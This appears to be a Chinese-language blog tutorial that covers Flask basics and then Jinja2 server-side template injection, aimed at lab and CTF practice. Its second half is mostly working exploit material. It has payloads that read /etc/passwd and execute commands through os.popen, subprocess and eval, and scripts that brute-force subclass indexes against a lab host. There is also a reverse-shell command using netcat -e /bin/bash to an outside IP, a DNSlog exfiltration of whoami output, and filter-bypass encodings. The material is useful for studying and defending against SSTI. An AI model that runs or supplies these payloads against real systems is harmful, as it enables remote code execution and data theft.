前言 前期学习主要以 Python 的 Flask 框架使用的 Jinja2 模版为主,同时 x1ong 也借此机会学习一下 Python 的 Flask 模块。
Flask 基础 模块的安装 安装方法比较简单,直接使用 pip 安装即可:
 
最小的应用 1 2 3 4 5 6 7 8 from  flask import  Flaskapp = Flask(__name__) @app.route('/'  ) def  hello ():    return  "Hello Flask!"  app.run() 
 
以上代码解释如下:
首先我们导入了 Flask 类。该类的实例将会成为我们的 WSGI 应用。
接着我们创建一个该类的实例。第一个参数是应用模块或者包的名称。 __name__ 是一个适用于大多数情况的快捷方式。有了这个参数, Flask 才能知道在哪里可以找到模板和静态文件等东西。
然后我们使用 route() 装饰器来告诉 Flask 触发函数的 PATH 。
函数返回需要在用户浏览器中显示的信息。默认的内容类型是 HTML ,因此字符串中的 HTML 会被浏览器渲染。
Flask 模块默认的端口为 5000,故而运行这段 Python 代码会自动监听 5000 端 口。
访问:
可以看到页面输出 Hello Flask,这是因为我们访问了 / 路由,故而会执行路由下的 hello 方法,而 hello 方法则会返回 Hello Flask!,故而页面会输出这段话。
知道路由的概念之后,我们修改代码如下:
1 2 3 4 5 6 7 8 9 10 11 from  flask import  Flaskapp = Flask(__name__) @app.route('/'  ) def  hello ():    return  "Hello Flask!"  @app.route('/admin'  ) def  admin ():    return  "Welcome to the backend management system"  app.run() 
 
那么我们知道,当我们访问 / 则会执行 hello 方法,当我们访问 /admin 则会执行 admin 方法,故而当我们访问 /admin 的时候,页面会输出: Welcome to the backend management system。
run() 方法的参数 host 默认情况下,Flask 应用监听本地主机(127.0.0.1)上的 5000 端口,也就是说,局域网的其他主机则无法访问,故而如果我们需要对外监听,则需要将 host 修改为 0.0.0.0
1 2 3 4 5 6 7 8 9 from  flask import  Flaskapp = Flask(__name__) @app.route('/'  ) def  hello ():    return  "Hello Flask!"  if  __name__ == '__main__' :    app.run(host='0.0.0.0' ) 
 
这里的 if __name__ == '__main__' 则表示,仅允许当前文件直接执行,不允许被引入到其他文件执行。
port 默认情况下,Flask 应用监听本地主机上的 5000 端口,如果我们需要将其修改为 8090,代码如下:
1 2 3 4 5 6 7 8 9 from  flask import  Flaskapp = Flask(__name__) @app.route('/'  ) def  hello ():    return  "Hello Flask!"  if  __name__ == '__main__' :    app.run(host='0.0.0.0' , port=5000 ) 
 
debug 默认情况下,Flask 应用不开启调试模式,但是我们在开发中编译调试一些错误,往往会使用 debug 模式进行调试。
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from  flask import  Flask, request, abortapp = Flask(__name__) @app.route('/trigger_error'  ) def  trigger_error ():    param = request.args.get('param' )     if  param is  None :                  abort(400 , description="Missing required parameter 'param'." )     elif  param == '500' :                  raise  Exception("This is a custom exception to trigger a 500 error." )     else :         return  f'Received parameter: {param} '  if  __name__ == '__main__' :    app.run(debug=True )  
 
这里输入 PIN 码即可进行任意的 Python 代码执行。
在早期的 Flask 版本,debug 模式是不需要 PIN 码验证的,存在的安全风险非常大。故而后续进行了改善。
调试器允许执行来自浏览器的任意 Python 代码。虽然它由一个 pin 保护, 但仍然存在巨大安全风险。不要在生产环境中运行开发服务器或调试器。
 
HTML 转义 当返回 HTML ( Flask 中的默认响应类型)时,为了防止注入攻击,所有用户 提供的值在输出渲染前必须被转义。使用 Jinja (这个稍后会介绍)渲染的 HTML 模板会自动执行此操作。
在下面展示的 escape() 可以手动转义。因为保持简洁的原因,在多数示例中它被省略了,但您应该始终留心处理不可信的数据。
1 2 3 4 5 6 7 8 9 from  flask import  Flask,requestfrom  markupsafe import  escapeapp = Flask(__name__) @app.route("/<name>"  ) def  index (name ):    return  escape(name) if  __name__ == '__main__' :    app.run() 
 
路由 现代 web 应用都使用有意义的 URL ,这样有助于用户记忆,网页会更得到用户的青睐,提高回头率。
使用 route() 装饰器来把函数绑定到 URL:
定义结构如下:
1 2 3 4 5 6 7 @app.route('/'  ) def  index ():    return  'Index Page'  @app.route('/hello'  ) def  hello ():    return  'Hello, World'  
 
一般情况下,函数名与其路由参数保持一致。
完整代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 from  flask import  Flask,requestapp = Flask(__name__) @app.route('/'  ) def  index ():    return  'Index Page'  @app.route('/hello'  ) def  hello ():    return  'Hello, World'  if  __name__ == '__main__' :    app.run() 
 
当我们访问路由 /,则会执行 index 方法:
当我们访问路由 /hello 则会执行 hello 方法:
变量规则 通过把 URL 的一部分标记为 <variable_name> 就可以在 URL 中添加变量。 标记的部分会作为关键字参数传递给函数。通过使用 <converter:variable_name> ,可以选择性的加上一个转换器,为变量指定规则。请看下面的例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from  flask import  Flask,requestfrom  markupsafe import  escapeapp = Flask(__name__) @app.route("/index1/<username>"  ) def  index1 (username ):    return  f"Hello {username} "  @app.route("/index2/<int:user_id>"  ) def  index2 (user_id ):    return  f"User ID:{user_id} "  @app.route("/index3/<float:number>"  ) def  index3 (number ):    return  f"Number: {number} "  @app.route("/index4/<path:path>"  ) def  index4 (path ):    return  f"Path: {path} "  @app.route("/index5/<uuid:uuid>"  ) def  index5 (uuid ):    return  f"uuid:{uuid} "  if  __name__ == '__main__' :    app.run() 
 
转换器类型:
类型 
说明 
 
 
string 
默认类型,接受任何不包含斜杠的文本 
 
int 
接受正整数 
 
float 
接受正浮点数 
 
path 
类似 string ,但可以包含斜杠 
 
uuid 
接受 UUID 字符串 
 
HTTP 方法 Web 应用使用不同的 HTTP 方法处理 URL 。当您使用 Flask 时,应当熟悉 HTTP 方法。缺省情况下,一个路由只回应 GET 请求。可以使用 route() 装饰器的 methods 参数来处理不同的 HTTP 方法。
1 2 3 4 5 6 7 8 9 10 11 from  flask import  Flask,requestapp = Flask(__name__) @app.route("/" ,methods=['GET' ,"POST" ] ) def  index ():    return  "<h1>Hello World</h1>"  if  __name__ == '__main__' :    app.run() 
 
路由 / 只允许使用 GET 和 POST 请求方法访问,如果使用其他请求方法访问,则提示如下:
参数的接收 在 HTTP 协议中,我们经常使用 GET 或者 POST 方法传入一些参数,那么 Flask 模块如何接收这些参数呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from  flask import  Flask,requestapp = Flask(__name__) @app.route("/" , methods=['GET' , 'POST' ] ) def  index ():         args1 = request.args.get("args1" )          args2 = request.form.get("args2" )     return  f"args1: {args1} \nargs2: {args2} "  if  __name__ == '__main__' :    app.run() 
 
Flask 模版渲染 基础概念 视图函数的主要作用是生成请求的响应,主要就做这么两件事情:
代码示例: 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from  flask import  Flaskapp = Flask(__name__) @app.route('/'  ) def  index ():    return  'Hello, World!'  @app.route('/about'  ) def  about ():    return  'About Page'  if  __name__ == '__main__' :    app.run() 
 
如果把业务逻辑和表现内容发在一起,会增加代码的复杂度和维护成本。
使用模版 使静态的HTML页面展示动态的内容。
模版是一个响应文本的文件,其中占位符(变量)表示动态部分,告诉模版引擎其具体的值需要从使用的数据中获取。
使用真实值替换变量,再返回最终得到的字符串。这个过程称为 “渲染”。
Flask 使用 Jinja2 这个模版引擎来渲染模版。
render_template 加载 HTML 文件,默认文件路径在 templates 目录下。
建立如下 Python 文件: 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from  flask import  Flask,render_template,redirect,request,url_forapp = Flask(__name__) @app.route("/" , methods=['GET' ,"POST" ] ) def  index ():         if  request.method == "POST" :         username = request.form.get("name" )         age = request.form.get("age" )         address = request.form.get("address" )         phone = request.form.get("tel" )         return  redirect(url_for("home" , username=username, age=age, address=address, phone=phone))          return  render_template("register.html" ) @app.route("/home" ,methods=['GET' ,'POST' ] ) def  home ():    username = request.args.get("username" )     age = request.args.get("age" )     address = request.args.get("address" )     phone = request.args.get("phone" )          return  render_template("index.html" ,username=username,age=age,address=address,phone=phone) if  __name__ == '__main__' :    app.run() 
 
接着创建 templates 目录,并在目录内创建 index.html 文件,内容如下: 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <!DOCTYPE html > <html  lang ="en" > <head >     <meta  charset ="UTF-8" >      <meta  name ="viewport"  content ="width=device-width, initial-scale=1.0" >      <title > 个人信息</title >      <style >          table  {             width : 50% ;             border-collapse : collapse;             margin : 25px  0 ;             font-size : 18px ;             text-align : left;         }         th , td  {             padding : 12px ;             border-bottom : 1px  solid #ddd ;         }         th  {             background-color : #f2f2f2 ;         }         tr :hover  {             background-color : #f5f5f5 ;         }      </style > </head > <body >     <h2 > 个人信息表格</h2 >      <table >          <thead >              <tr >                  <th > 姓名</th >                  <th > 年龄</th >                  <th > 地址</th >                  <th > 手机号</th >              </tr >          </thead >          <tbody >              <tr >                  <td > {{ username }}</td >                  <td > {{ age }}</td >                  <td > {{ address }}</td >                  <td > {{ phone }}</td >              </tr >          </tbody >      </table >  </body > </html > 
 
接着在 templates 目录下创建 register.html 文件,内容如下: 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <!DOCTYPE html > <html  lang ="en" > <head >     <meta  charset ="UTF-8" >      <title > Title</title >  </head > <body >     <form  method ="post" >          姓名: <input  type ="text"  name ="name" >          <br >          年龄: <input  type ="text"  name ="age" >          <br >          地址: <input  type ="text"  name ="address" >          <br >          手机号: <input  type ="text"  name ="tel"  maxlength ="11" >          <br >          <input  type ="submit" >      </form >  </body > </html > 
 
运行 Python 文件,访问提交: 
 
这样就实现了让原本 静态的HTML页面展示动态的内容 。
render_template_string 与 render_template() 不同的是,render_template() 指定的是一个模版文件,而 render_template_string 指定的则是模版字符串。如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from  flask import  Flask,render_template_string,requestapp = Flask(__name__) @app.route("/" , methods=['GET' ,"POST" ] ) def  index ():    kw = request.args.get("kw" )     if  kw != None :         return  render_template_string("""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0">          <title>Document</title></head><body>%s</body></html>""" )% kw    return  "/?kw=kw"  if  __name__ == '__main__' :    app.run() 
 
{% %}的使用 set 变量 我们可以使用 {% set key=value %} 的形式在模版中设置一个变量和值。
示例: 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from  flask import  Flask,render_template_stringapp = Flask(__name__) @app.route("/"  ) def  index ():    html_str = """  <!DOCTYPE html> <html lang="en"> <head>     <meta charset="UTF-8">     <title>Title</title> </head> <body>     {% set name="x1ongSec" %}     <h1> Hello {{ name }} </h1> </body> </html>     """     return  render_template_string(html_str) if  __name__ == '__main__' :    app.run() 
 
页面输出:
for 循环 {% %} 除了设置一个变量以外,还可以使用 for 循环。
示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from  flask import  Flask,render_template_stringapp = Flask(__name__) @app.route("/"  ) def  index ():    names = ["小明" , "小红" , "小亮" , "小熊" ]     html_str = """  <!DOCTYPE html> <html lang="en"> <head>     <meta charset="UTF-8">     <title>Title</title> </head> <body>     <ul>         {% for name in names %}         <li>{{ name }}</li>         {% endfor %}     </ul> </body> </html>     """     return  render_template_string(html_str,names=names) if  __name__ == '__main__' :    app.run() 
 
页面输出:
if 判断 {% %} 除了设置一个变量以外,还可以使用 if 条件控制语句。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from  flask import  Flask, render_template_stringapp = Flask(__name__) @app.route('/'  ) def  index ():    users = [         {'name' : 'Alice' , 'age' : 25 },         {'name' : 'Bob' , 'age' : 30 },         {'name' : 'Charlie' , 'age' : 35 },         {'name' : 'David' , 'age' : 40 }     ]     html_str = """  <!doctype html> <html lang="en"> <head>     <meta charset="UTF-8">     <title>User List</title> </head> <body>     <h1>User List</h1>     <ul>         {% for user in users %}             <li>                 {% if user.age > 30 %}                     <strong>{{ user.name }}</strong> is {{ user.age }} years old. (Senior)                 {% else %}                     {{ user.name }} is {{ user.age }} years old.                 {% endif %}             </li>         {% endfor %}     </ul> </body> </html>     """     return  render_template_string(html_str, users=users) if  __name__ == '__main__' :    app.run() 
 
过滤器 Flask 常用过滤器 
过滤器函数 
说明 
 
 
length 
获取一个序列或者字典的长度并将其返回 
 
int 
将值转为int类型 
 
float 
将值转为int类型 
 
lower 
将字符串转为小写 
 
upper 
将字符串转为大写 
 
reverse 
将字符串反转 
 
replace 
字符串替换 
 
list 
将数据类型转为list类型 
 
string 
将数据类型转为字符串类型 
 
join 
将一个序列的参数值拼接成字符串,通常与 dict() 函数配合使用 
 
attr 
获取对象的属性 
 
过滤器的使用 这里只演示最常用的 length 和 join 以及 attr 过滤器的使用
示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from  flask import  Flask,render_template_stringapp = Flask(__name__) @app.route("/"  ) def  index ():    names = ["小明" , "小亮" , "小红" , "小熊" ]     username = "x1ong"      password = "admin123"      html_str = """  <!DOCTYPE html> <html lang="en"> <head>     <meta charset="utf-8">     <title>title</title> <body>     Number of personnel: {{ names|length }}     <br />     username: {{ username|join("_") }}     <br />     password: {{ password|attr("__class__") }} </body> </head> </html> """     return  render_template_string(html_str, names=names,username=username,password=password) if  __name__ == '__main__' :    app.run() 
 
页面输出: 
模版注入漏洞介绍 模版注入漏洞原理 模版注入漏洞是指在模板中使用用户输入的数据,而没有对其进行适当的过滤,导致恶意数据被插入到模板中,从而导致模版注入漏洞。
模版注入漏洞危害 模版注入漏洞的危害取决于攻击者能够利用该漏洞执行的恶意操作。攻击者可以利用模版注入漏洞执行以下操作:
读取服务器上的文件 
执行系统命令 
获取服务器上的敏感信息 
修改或删除服务器上的文件 
执行任意代码 
 
模版注入漏洞演示 存在漏洞的代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from  flask import  Flask,render_template_string,requestapp = Flask(__name__) @app.route("/"  ) def  index ():    cmd = request.args.get("cmd" )     html_string = """  <!DOCTYPE html> <html lang="en"> <head>     <meta charset="UTF-8">     <title>Title</title> </head> <body>     {} </body> </html> """ .format (cmd)    return  render_template_string(html_string) if  __name__ == '__main__' :    app.run() 
 
当我们传入 7*7 页面返回 7*7 并没有执行我们输入的值
但是当我们把传入 {{7 * 7 }} 的时候,页面返回 49。
这里,cmd 的值直接被格式化进 HTML 字符串中,然后通过 render_template_string 函数进行渲染。由于 render_template_string 会处理 Jinja2 模板语法,用户提供的输入如果包含了 Jinja2 模板代码,就会被执行。
安全的代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from  flask import  Flask,render_template_string,requestapp = Flask(__name__) @app.route("/"  ) def  index ():    cmd = request.args.get("cmd" )     html_string = """  <!DOCTYPE html> <html lang="en"> <head>     <meta charset="UTF-8">     <title>Title</title> </head> <body>     {{ str }} </body> </html> """     return  render_template_string(html_string,str =cmd) if  __name__ == '__main__' :    app.run() 
 
str 是被 {{}} 所包裹,故而会对其进行转义,不会执行我们传入的值。
漏洞检测 Python 中 Flask 框架使用的是 Jinja2 的模版,于是 Flask 可以使用 {{ 7*7 }} 进行漏洞的检测。 
那么其他模版类型该如何进行检测呢?遵循如下图解检测即可。
继承关系和魔术方法 继承关系 在 Python 中 Flask 脚本不能直接执行 Python 代码,当前子类无可利用的方法时,可由当前子类从其 object 基类找到其他子类的可利用方法。
object 是父子关系的顶端,所以的数据类型最终的父类都是 object。
魔术方法 
魔术方法 
说明 
 
 
__class__ 
查找当前对象的当前类 
 
__base__ 
查找当前类的父类 
 
__mro__ 
查找当前类的所有继承类 
 
__subclasses__() 
查找父类下的所有子类 
 
__init__ 
查找类是否重载,出现 wrapper 表示没有重载 
 
__globals__ 
以字典的形式返回当前函数的全部全局变量 
 
__builtins__ 
提供对Python的所有内置标识符的直接访问 
 
代码示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 class  Person ():    def  test (self ):         print ("run test function!" ) class  SubClass (Person ):     class  DemoClass (Person ):    pass  obj = SubClass() print (obj.__class__) print (SubClass.__base__) print (SubClass.__mro__) print (Person.__subclasses__()) print (Person.__init__) 
 
小试牛刀 根据下图进行模版类型检测:
输入 ${7 *7 },页面没有执行。 
 
接着尝试 {{ 7*7 }} 
 
页面返回 49,那么就是 Jinja2 模版或 Twig,这里使用的是 Python 的 Flask 框架,故而模版为 Jinja2。
由于类的父类都是 object,因此我们这里键入任意数据类型,获取其父类(object): 
 
1 2 3 {{ '' .__class__ }}   {{ '' .__class__.__base__ }}  
 
获取父类 object 的所有子类,这样就可以获取到页面的所有加载的模块类: 
 
1 {{ '' .__class__.__base__.__subclasses__() }}  
 
使用 SubLime Text 3编辑器将逗号替换为换行显示: 
 
替换之后发现在 118行 存在 os 模块类,使用 [117] 取到下标,并使用 __init__ 查看是否被重载 
 
1 2 3 {{ '' .__class__.__base__.__subclasses__()[117 ] }}   {{ '' .__class__.__base__.__subclasses__()[117 ].__init__ }}  
 
发现不存在 wrapper 表示已经重载,可以使用。
以字典的形式获取 os 模块的所有全部变量以及相应的函数地址并进行命令执行 
 
1 {{ '' .__class__.__base__.__subclasses__()[117 ].__init__.__globals__ }} 
 
由于是字典形式,我们使用 popen 获取该函数的函数地址执行。
1 {{ '' .__class__.__base__.__subclasses__()[117 ].__init__.__globals__['popen' ]("cat /etc/passwd" ).read() }} 
 
最终达到命令执行的效果,以上等同于直接执行如下 Python 代码:
1 2 import  osprint (os.popen("cat /etc/passwd" ).read())
 
常用注入模块利用 文件读取 使用 如下 Python 脚本获取该类的索引位置: 
1 2 3 4 5 6 7 8 9 10 11 12 import  requestsurl = 'http://120.48.128.24:9091/flaskBasedTests/jinja2/'  for  i in  range (0 , 500 ):    data = {'name' : '{{ "".__class__.__base__.__subclasses__()['  + str (i) + '] }}' }     try :         res = requests.post(url, data=data)         if  res.status_code == 200 :             if  '_frozen_importlib_external.FileLoader'  in  res.text:                 print (i)                 break      except :         pass  
 
<class '_frozen_importlib_external.FiieLoader'>,即文件读取模块,可以读取文件内容:
1 2 3 {{ '' .__class__.__base__.__subclasses__()[79 ]}}  {{ '' .__class__.__base__.__subclasses__()[79 ]['get_data' ](0 ,'/etc/passwd' )}} 
 
内置函数 eval 命令执行 使用内建函数 eval前需知道哪个模块存在可利用的内建函数 eval,使用如下脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import  requestsurl = 'http://120.48.128.24:9091/flaskBasedTests/jinja2/'  for  i in  range (0 , 500 ):    data = {'name' : '{{ "".__class__.__base__.__subclasses__()['  + str (i) + '].__init__.__globals__["__builtins__"] }}' }     try :                  res = requests.post(url, data=data)         if  res.status_code == 200 :                          if  'eval'  in  res.text:                 print (i)     except :         pass  
 
以上结果可能很多,我们随便使用一个。
1 2 3 4 5 {{ [].__class__.__mro__[1 ].__subclasses__()[68 ].__init__.__globals__['__builtins__' ] }} {{ [].__class__.__mro__[1 ].__subclasses__()[68 ].__init__.__globals__['__builtins__' ]['eval' ]("__import__('os').popen('cat /etc/passwd').read()" ) }} 
 
OS 模块执行命令 
在其他函数中直接调用os模块进行命令执行: 
 
1 2 3 4 5 {{ config.__class__.__init__.__globals__["os" ].popen("cat /etc/passwd" ).read() }} {{ url_for.__globals__["os" ].popen("cat /etc/passwd" ).read() }}} 
 
在已加载os模块的子类中直接调用os模块进行命令执行: 
 
使用 Python 脚本查看哪个子类中调用了 os 模块:
1 2 3 4 5 6 7 8 9 10 11 import  requestsurl = 'http://120.48.128.24:9091/flaskBasedTests/jinja2/'  for  i in  range (0 , 500 ):    data = {'name' : '{{ "".__class__.__base__.__subclasses__()['  + str (i) + '].__init__.__globals__ }}' }     try :         res = requests.post(url, data=data)         if  res.status_code == 200 :             if  'os.py'  in  res.text:                 print (i)     except :         pass  
 
在以上结果中随便选择一个:
1 2 3 4 {{ '' .__class__.__base__.__subclasses__()[200 ].__init__.__globals__['os' ] }} {{ '' .__class__.__base__.__subclasses__()[200 ].__init__.__globals__['os' ].popen('cat /etc/passwd' ).read() }} 
 
当然也可以使用如下获取所有的键名:
1 {{ self .__dict__._TemplateReference__context.keys() }} 
 
如下函数都带有 OS 模块:
1 2 3 {{ url_for.__globals__ }} {{ lipsum.__globals__ }} {{ get_flashed_messages.__globals__ }} 
 
importlib 类命令执行 <class '_frozen_importlib_Builtinlmporter'>,即 importlib 类模块,使用 Python 脚本进行查找: 
1 2 3 4 5 6 7 8 9 10 11 12 import  requestsurl = 'http://120.48.128.24:9091/flaskBasedTests/jinja2/'  for  i in  range (0 , 500 ):    data = {'name' : '{{ "".__class__.__base__.__subclasses__()['  + str (i) + '] }}' }     try :         res = requests.post(url, data=data)         if  res.status_code == 200 :             if  '_frozen_importlib.BuiltinImporter'  in  res.text:                 print (i)                 break      except :         pass  
 
1 2 3 4 {{ '' .__class__.__base__.__subclasses__()[69 ] }}  {{ '' .__class__.__base__.__subclasses__()[69 ]['load_module' ]('os' )['popen' ]('cat /etc/passwd' ).read() }} 
 
subprocess.Popen 类命令执行 <class 'subprocess.Popen'>,即 subprocess.Popen 类模块。其下标使用如下 Python 脚本获取:
1 2 3 4 5 6 7 8 9 10 11 12 import  requestsurl = 'http://120.48.128.24:9091/flaskBasedTests/jinja2/'  for  i in  range (0 , 500 ):    data = {'name' : '{{ "".__class__.__base__.__subclasses__()['  + str (i) + '] }}' }     try :         res = requests.post(url, data=data)         if  res.status_code == 200 :             if  'subprocess.Popen'  in  res.text:                 print (i)                 break      except :         pass  
 
1 2 3 4 {{ '' .__class__.__base__.__subclasses__()[200 ] }}  {{ '' .__class__.__base__.__subclasses__()[200 ]('cat /etc/passwd' ,shell=True ,stdout=-1 ).communicate()[0 ].strip() }} 
 
Bypass 双大括号 过滤 可以使用 {% %} 代替,使用 print 函数可以打印输出: {% print(123) %}
1 2 3 4 5 {% if  '' .__class__.__base__.__subclasses__()[117 ].__init__.__globals__['popen' ]('cat /etc/passwd' ).read() %}x1ong{% endif %} {% print ('' .__class__.__base__.__subclasses__()[117 ].__init__.__globals__['popen' ]('cat /etc/passwd' ).read()) %} 
 
至于下标可以使用如下脚本获取并自动构造 PAYLOAD: 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import  requestsurl = 'http://120.48.128.24:9091/flasklab/level/2'  command = "cat /etc/passwd"  for  i in  range (0 , 500 ):    payload = "{% if ''.__class__.__base__.__subclasses__()["  + str (i) + "].__init__.__globals__['popen']('"  + command + "').read() %}x1ong{% endif %}"      data = {'code' : payload}     try :         res = requests.post(url, data=data)         if  res.status_code == 200 :             if  'x1ong'  in  res.text:                                  print (payload)                 print ("""{% print(''.__class__.__base__.__subclasses__()["""  + str (i) + """].__init__.__globals__['popen']('"""  + command + """').read()) %}""" )                 break      except :         pass  
 
无回显 SSTI 
反弹shell 
Dnslog带外 
纯盲注 
 
反弹 shell 脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import  requestsurl = "http://120.48.128.24:9091/flasklab/level/3"  command = "netcat 120.48.128.24 2333 -e /bin/bash"  keyword = "correct"  for  i in  range (0 , 500 ):    payload = "{{ ''.__class__.__base__.__subclasses__()["  + str (i) + "].__init__.__globals__['popen']('"  + command + "').read() }}"      data = {"code"  : payload}     try :         resp = requests.post(url, data=data)         if  (keyword in  resp.text):             print (i)             break      except :         pass  
 
Dnslog 带外: 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import  requestsurl = "http://120.48.128.24:9091/flasklab/level/3"  command = "ping `whoami`.xxxxx.ceye.io"  keyword = "correct"  for  i in  range (0 , 500 ):    payload = "{{ ''.__class__.__base__.__subclasses__()["  + str (i) + "].__init__.__globals__['popen']('"  + command + "').read() }}"      data = {"code"  : payload}     try :         resp = requests.post(url, data=data)         if  (keyword in  resp.text):             print (i)             break      except :         pass  
 
纯盲注:根据页面返回不同结果来判断字符值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import  requestsimport  stringurl = "http://120.48.128.24:9091/flasklab/level/1"  strings = string.printable.strip() command = "whoami"  content = ""  for  i in  range (0 ,100 ):    for  s in  strings:         payload = "{% if ''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('"  + command + "').read()["  + str (i) + ":"  + str (i+1 ) + "] == '"  + s + "' %} x1ong {%  endif %}"          data = {"code"  : payload}         resp = requests.post(url, data)         if  "x1ong"  in  resp.text:             content += s             break      print (content) 
 
注入时间可能较慢,请耐心等待。
大括号过滤 魔术方法 __getitem__ 可代替中括号,绕过中括号过滤,其功能是通过键名获取相应的元素值:
构造 PAYLOAD:
1 2 3 4 5 6 7 8 9 {{ '' .__class__.__base__.__subclasses__()[117 ] }}  {{ '' .__class__.__base__.__subclasses__()[117 ].__init__.__globals__['popen' ]("cat /etc/passwd" ).read() }}  {{ '' .__class__.__base__.__subclasses__().__getitem__(117 ) }}  {{ '' .__class__.__base__.__subclasses__().__getitem__(117 ).__init__ .__globals__.__getitem__('popen' )("cat /etc/passwd" ).read() }}  
 
单双引号被过滤 当单引号和双引号被过滤之后可以使用 request.args.xxx 和 request.form.xxx 接收 GET 或者 POST 的请求。
1 2 3 4 5 6 7 {{ '' .__class__.__base__.__subclasses__()[117 ] }}  {{ '' .__class__.__base__.__subclasses__()[117 ].__init__.__globals__['popen' ]("cat /etc/passwd" ).read() }}  {{ ().__class__.__base__.__subclasses__()[117 ].__init__.__globals__[request.args.popen](request.form.cmd).read() }} 
 
当然还可以使用 cookies 传参,如 request.cookies.k1、request.cookies.k2 在 Cookie 中传入: k1=popen;k2=cat /etc/passwd
除了 cookies 之外,还可以使用 headers 获取请求头的信息。
下划线被过滤 request 当下划线被过滤后可以使用过滤器 attr 输入下划线。PAYLOAD:
1 2 3 4 5 {{ ().__class__.__base__.__subclasses__()[117 ].__init__.__globals__['popen' ]('cat /etc/passwd' ).read() }} {{ ()|attr(request.form.argu_class)|attr(request.form.argu_base)|attr(request.form.argu_subclasses)()|attr(request.form.argu_getitem)(117 )|attr(request.form.argu_init)|attr(request.form.argu_globals)|attr(request.form.argu_getitem)(request.form.argu_popen)(request.form.argu_cmd)|attr(request.form.argu_read)()}} 
 
接着使用 POST 传入如下参数即可:
1 &argu_class=__class__&argu_base=__base__&argu_subclasses=__subclasses__&argu_getitem=__getitem__&argu_init=__init__&argu_globals=__globals__&argu_popen=popen&argu_cmd=cat  /etc/passwd&argu_read=read  
 
{{ ()|attr(request.form.key1) }} 等同于 {{ ().__class__ }}。
Unicode 当然也可以对 attr 过滤器的内容进行 Unicode 编码绕过:
1 2 3 4 5 {{ ()|attr("__class__" )|attr("__base__" )|attr("__subclasses__" )()|attr("__getitem__" )(117 )|attr("__init__" )|attr("__globals__" )|attr("__getitem__" )("popen" )("cat /etc/passwd" )|attr("read" )()}} {{ ()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f" )|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f" )|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f" )()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f" )(117 )|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" )|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" )|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f" )("\u0070\u006f\u0070\u0065\u006e" )("\u0063\u0061\u0074\u0020\u002f\u0065\u0074\u0063\u002f\u0070\u0061\u0073\u0073\u0077\u0064" )|attr("\u0072\u0065\u0061\u0064" )()}} 
 
Unicode 在线编码网站: https://www.bt.cn/tools/unicode.html 
{{ ()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")}} 等同于 {{ ()|attr("__class__")}}
hex 除了使用以上两种方式以外,还可以使用十六进制编码的形式
1 2 3 4 5 {{ ().__class__.__base__.__subclasses__()[117 ].__init__.__globals__['popen' ]('cat /etc/passwd' ).read() }} {{ ()['\x5f\x5fclass\x5f\x5f' ]['\x5f\x5fbase\x5f\x5f' ]['\x5f\x5fsubclasses\x5f\x5f' ]()[117 ]['\x5f\x5finit\x5f\x5f' ]['\x5f\x5fglobals\x5f\x5f' ]['popen' ]('cat /etc/passwd' ).read() }} 
 
点过滤 中括号 如果题目过滤了 . 可以使用中括号进行代替。
1 2 3 4 5 {{ '' .__class__.__base__.__subclasses__()[117 ].__init__.__globals__['popen' ]('cat /etc/passwd' ).read() }} {{ '' ['__class__' ]['__base__' ]['__subclasses__' ]()[117 ]['__init__' ]['__globals__' ]['popen' ]('cat /etc/passwd' )['read' ]() }} 
 
attr PAYLOAD 语句中不会用到点和中括号
1 2 3 4 5 {{ '' .__class__.__base__.__subclasses__()[117 ].__init__.__globals__['popen' ]('cat /etc/passwd' ).read() }} {{ ()|attr('__class__' )|attr('__base__' )|attr('__subclasses__' )()|attr('__getitem__' )(117 )|attr('__init__' )|attr('__globals__' )|attr('__getitem__' )('popen' )('cat /etc/passwd' )|attr('read' )() }} 
 
关键字过滤 拼接绕过 
假设 class 关键字别过滤 
 
1 2 3 4 5 {{ '' .__class__ }} {{ '' ['__cla'  + 'ss__' ] }} 
 
如果过滤了加号,则将两个字符串放在一起也可以达到拼接的效果: 
 
 
使用 jingja2 的 ~ 号拼接: 
 
